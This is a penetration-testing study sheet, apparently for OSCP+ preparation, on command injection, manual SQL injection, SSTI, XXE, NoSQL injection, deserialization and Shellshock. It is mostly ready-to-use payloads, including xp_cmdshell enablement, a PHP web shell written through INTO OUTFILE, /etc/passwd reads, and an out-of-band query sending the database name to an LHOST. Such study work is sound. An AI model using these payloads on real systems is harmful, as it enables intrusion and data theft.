Command and Manual SQL Injection
← Stage index · Web mapping · Quick sheet · Mechanics | Strategy map | Study methods: Turn application weaknesses into access
Use when: mapped application behavior suggests attacker input reaches an operating-system command or database query. Preserve a valid baseline, change one input at a time and prove each capability separately.
Operating-system command injection
Visible-output baseline
Start with a benign identity marker appropriate to the inferred operating system:
curl -skG --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -skG --data-urlencode 'host=127.0.0.1&whoami' http://TARGET:PORT/PATH
Decisive output: command output attributable to the target, such as a username/UID that is absent from the normal response. Reflection of the payload is not execution.
Variants — separators, quoting and POST bodies
Test only the forms compatible with the observed command and platform:
127.0.0.1; id
127.0.0.1 && id
127.0.0.1 | id
127.0.0.1%0aid
curl -sk -X POST -H 'Content-Type: application/x-www-form-urlencoded' --data-urlencode 'host=127.0.0.1;id' http://TARGET:PORT/PATH
curl -sk -X POST -H 'Content-Type: application/json' -d '{"host":"127.0.0.1;id"}' http://TARGET:PORT/api/PATH
For Windows command contexts, use an observed cmd.exe or PowerShell boundary before choosing syntax:
127.0.0.1 & whoami
127.0.0.1 | whoami
Blind timing proof
Repeat a control and a bounded-delay request several times:
curl -sk -o /dev/null -w 'control=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1' http://TARGET:PORT/PATH
curl -sk -o /dev/null -w 'test=%{time_total}\n' -G --data-urlencode 'host=127.0.0.1;sleep 5' http://TARGET:PORT/PATH
Windows candidate after platform evidence:
127.0.0.1 & timeout /t 5
Decisive output: a repeatable delay near the chosen interval relative to multiple controls. One slow response is inconclusive.
After command execution
Linux: id; hostname; pwd
Windows: whoami; hostname; cd
Record the execution identity, working directory, shell/parser and egress assumptions. Hand reliable-session work to Block 7; do not treat one command response as an interactive shell.
Manual SQL injection workflow
Exam boundary: the current OSCP+ exam guide prohibits SQLmap and other automatic exploitation tools. The following procedure is manual. Recheck the current guide before an exam.
1. Establish query influence
Replay a valid request in Burp Repeater. Change one parameter and compare a normal value, quote, true condition and false condition:
VALUE
VALUE'
VALUE' AND '1'='1
VALUE' AND '1'='2
For a numeric context:
1
1 AND 1=1
1 AND 1=2
Evidence: a database error, stable true/false response difference, or repeatable database-specific delay. An isolated
500, WAF block or generic application error is not enough.
2. Authentication-bypass candidate
In an authorized disposable lab, preserve the application's quoting and comment syntax:
' OR 1=1-- -
administrator'-- -
Verification: identify the resulting account/session and perform a separate authorized request. A redirect or welcome string alone can be misleading.
3. Determine UNION shape
First establish column count:
' ORDER BY 1-- -
' ORDER BY 2-- -
' ORDER BY 3-- -
Or increment NULL columns until the query succeeds:
' UNION SELECT NULL-- -
' UNION SELECT NULL,NULL-- -
' UNION SELECT NULL,NULL,NULL-- -
Then find a displayed text-compatible column:
' UNION SELECT NULL,'MARKER_7F31',NULL-- -
Decisive output: the marker appears in a response location controlled by the injected row. Match the exact column count and data types.
4. Extract only after fingerprinting the DBMS
MySQL: ' UNION SELECT NULL,version(),NULL-- -
PostgreSQL: ' UNION SELECT NULL,version(),NULL-- -
MSSQL: ' UNION SELECT NULL,@@version,NULL-- -
Use the confirmed DBMS's catalog and concatenation syntax rather than cycling unrelated payloads. Keep each extraction request reproducible in Repeater.
5. Boolean- or time-blind extraction
Choose a stable page marker or content length for true/false comparisons:
' AND SUBSTRING((SELECT version()),1,1)='P'-- -
' AND SUBSTRING((SELECT version()),1,1)='X'-- -
DBMS-specific time proofs:
MySQL: ' AND IF(1=1,SLEEP(5),0)-- -
PostgreSQL: '; SELECT CASE WHEN (1=1) THEN pg_sleep(5) ELSE pg_sleep(0) END--
MSSQL: '; IF (1=1) WAITFOR DELAY '0:0:5'--
Repeat controls. Time-based results are invalid if application latency overlaps the chosen delay or the condition cannot be changed independently.
Database control to operating-system effect
This is a new transition, not an automatic consequence of SQL injection. Verify the DBMS identity, database role, feature state, filesystem permissions and path or egress assumptions first.
MSSQL — xp_cmdshell when privilege and policy allow
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'whoami';
Requires sufficient server privilege; enabling it changes server configuration. Prefer a direct proof when it is already enabled. Verify the Windows service identity returned by whoami.
PostgreSQL — COPY PROGRAM when role and version allow
DROP TABLE IF EXISTS cmd_output;
CREATE TABLE cmd_output(line text);
COPY cmd_output FROM PROGRAM 'id';
SELECT * FROM cmd_output;
Requires a superuser or a role such as pg_execute_server_program; the command runs under the database service account.
MySQL/MariaDB — file write as a separate primitive
SELECT '<?php echo shell_exec($_GET["cmd"]); ?>'
INTO OUTFILE '/CONFIRMED/WEBROOT/check.php';
Requires FILE privilege, a permitted secure_file_priv destination, a known writable webroot and PHP execution there. Verify the file through HTTP, then verify execution. If it only displays or downloads, only file write is proven.
Out-of-band SQL injection boundary
Out-of-band testing is relevant only when direct content, errors, boolean differences and repeatable time delays cannot produce decisive evidence and the database can initiate a network request. A callback proves server/database-side resolution or connectivity; it does not by itself prove arbitrary query-result extraction.
Hypothetical MySQL/Windows UNC lookup in an authorized lab:
SELECT LOAD_FILE(CONCAT('\\\\LHOST\\', DATABASE()));
Use a uniquely labelled controlled listener/domain and transmit no sensitive row data during proof. Required conditions include a DBMS/function that performs the lookup, sufficient database/OS permissions, working outbound DNS/SMB/HTTP as applicable and an observable callback. No callback is inconclusive until query execution and outbound reachability are separated. Avoid poisoning/spoofing; the current OSCP+ exam guide prohibits spoofing.
Failure-guided decisions
- quote causes generic error only -> compare true/false and inspect whether the application, proxy or WAF generated it;
UNIONalways errors -> recheck context, column count, types, parentheses and comment syntax;- blind pages differ randomly -> find a stable marker or repeat timing controls before continuing;
- command payload is reflected -> no execution proof; compare command-derived output or side effect;
- command executes but callback fails -> keep execution confirmed and diagnose listener, route, payload and egress separately in Block 7;
- database identity lacks the required role/feature -> retain data access and search extracted configuration/credentials rather than assuming OS execution.
Handoffs
- extracted password/hash/key/token -> Block 5 with source and identity context;
- exact vulnerable product/version or stored procedure requirement -> Block 6;
- verified OS command -> Block 7 session handling;
- file write into web content -> web file handling;
- useful application account/role -> remap authenticated behavior in Block 3.
SSTI — prove template evaluation, then identify the engine
Use when controlled text appears inside a server-rendered template, email preview or report. Replay the real parameter and session. These are separate probes, not one universal payload:
# Jinja/Twig-style expression probe
curl -sS -G --data-urlencode 'name={{7*7}}' http://TARGET:PORT/PATH
# A different delimiter family, only when the first is literal or errors suggest it
curl -sS -G --data-urlencode 'name=${7*7}' http://TARGET:PORT/PATH
# Jinja-versus-Twig clue; interpret alongside source/errors, not in isolation
curl -sS -G --data-urlencode "name={{7*'7'}}" http://TARGET:PORT/PATH
Read: changed, repeatable computed output compared with a literal control supports evaluation. 49 alone does not identify the engine. Jinja commonly repeats the string; Twig commonly treats it numerically. Confirm the engine/version and exposed objects before selecting a file-read or command primitive. Literal reflection → inspect another template/input boundary; a syntax error alone does not prove an exploitable expression.
Sources: upstream 1.
XXE — test the XML parser and file-read result
Use a working XML request and put the entity reference in a field whose parsed value is returned. Retain the original wrapper, cookies and endpoint. Example body for an XML-compatible endpoint:
<?xml version="1.0"?>
<!DOCTYPE request [<!ENTITY probe SYSTEM "file:///etc/passwd">]>
<request><value>&probe;</value></request>
curl -i -b cookies.txt -H 'Content-Type: application/xml' \
--data-binary @xxe.xml http://TARGET:PORT/PATH
Read: recognizable file content in the parsed field proves read access; echoing the submitted XML does not. Choose a platform-appropriate file; Windows can use file:///C:/Windows/win.ini. DTD rejection or unresolved entities → check the parser's actual configuration, not more traversal depth.
If the application builds XML around your input and processes XInclude, a separate condition can exist without control over the document's DOCTYPE:
<value xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/>
</value>
A blind endpoint needs an observable parser/network effect before any exfiltration claim. Follow verified config/source reads into credential or application testing.
Sources: upstream 1.
NoSQL operator injection — separate JSON objects from strings
Use when a login/search accepts structured JSON or nested form parameters and evidence suggests a MongoDB-style query. Start with a normal failed request, then change one value's type.
# A known username with an operator-valued password
curl -i -c cookies.txt -H 'Content-Type: application/json' \
--data '{"username":"USER","password":{"$ne":""}}' http://TARGET:PORT/LOGIN
# Distinct context: a form parser that expands bracketed properties
curl -i -c cookies.txt --data-urlencode 'username=USER' \
--data-urlencode 'password[$ne]=x' http://TARGET:PORT/LOGIN
Read: compare against the same operator encoded as a plain string and against a known wrong password. Confirm the resulting identity through a protected route. A 200/login page or changed error is not authenticated access. Type validation, hashing the supplied password before querying, or removal of $ operators can rule out this route. Broader $ne username queries may select an unexpected first account; keep the intended identity explicit.
Sources: upstream 1.
PHP deserialization — match the gadget to installed dependencies
Use when a controlled serialized value reaches unsafe unserialize() and the required classes are loaded. Identify dependencies/builds from source or composer.lock first.
# Inspect available families and the exact chain's version/vector requirements
phpggc -l
phpggc -i Monolog/RCE1
# Example function-call gadget, only when that chain matches the application
phpggc -b Monolog/RCE1 system id > payload.b64
Read: base64 is a transport choice, not a bypass—the sink must decode it before deserialization. Preserve raw serialized lengths and binary bytes; use the encoding that the real request expects. A generated payload is not execution proof. Missing classes, rejected object types or a different dependency version → choose a matching chain or another primitive. Verify a benign effect before selecting a shell payload.
Sources: upstream 1.
Unsafe YAML construction — distinguish loading from safe parsing
Use when source or errors identify Python YAML processing with an unsafe loader and you control the loaded YAML. An ordinary JSON field or yaml.safe_load() does not supply this condition.
!!python/object/apply:os.system ["id"]
Put the probe in the actual YAML input/file, preserving its required surrounding structure. Read: attributable command output/effect supports unsafe construction. ConstructorError for the Python tag commonly indicates a loader that does not permit that constructor. Confirm the installed PyYAML version and loader (UnsafeLoader/unsafe load), rather than assuming that any use of YAML permits Python object execution.
Sources: upstream 1.
SQL truncation or normalization mismatch at registration
Use when the application checks one representation for uniqueness but the DB stores or compares a different one—for example, an overlong username in a fixed-length column. Validate with a disposable account first.
-- With SQL visibility, inspect the real column and strict-mode behavior
SELECT @@sql_mode;
SELECT COLUMN_NAME, CHARACTER_MAXIMUM_LENGTH
FROM information_schema.columns
WHERE table_schema = DATABASE() AND table_name = 'users';
Compare registration/login behavior for the test name, its trailing-space form and an overlong form that would truncate to it. A plus character only becomes a space in the appropriate form encoding; it is not a universal SQL payload. A strict length error or a unique constraint on the normalized stored value can stop this path. Confirm an actual account/authorization change before calling it a bypass.
Sources: upstream 1.
Shellshock candidate — only for a CGI path that invokes vulnerable Bash
Use when a confirmed CGI endpoint passes HTTP-derived environment variables into an affected Bash process. An arbitrary PHP/Java route or a Bash version string alone does not establish this chain.
# Bounded command-effect probe at the actual CGI script
curl -i -H 'User-Agent: () { :;}; echo; /usr/bin/id' \
http://TARGET:PORT/cgi-bin/SCRIPT
Read: an attributable UID in the executed CGI response supports the effect; reflection of the header text does not. Header/CGI parsing errors require inspecting the request and script behavior. No effect → re-check the actual component and patch status before selecting another PoC. This is the CVE-2014-6271 family, not a generic command separator for every web input.
Sources: upstream 1.
Sources
Supplied PEN-200 Ch 9.4 pp274-279 and Ch 10 pp285-300; reviewed getSH Web/SQLi route; Hexdump SQL injection module; OWASP command injection testing, OWASP SQL injection testing; current OSCP+ exam guide.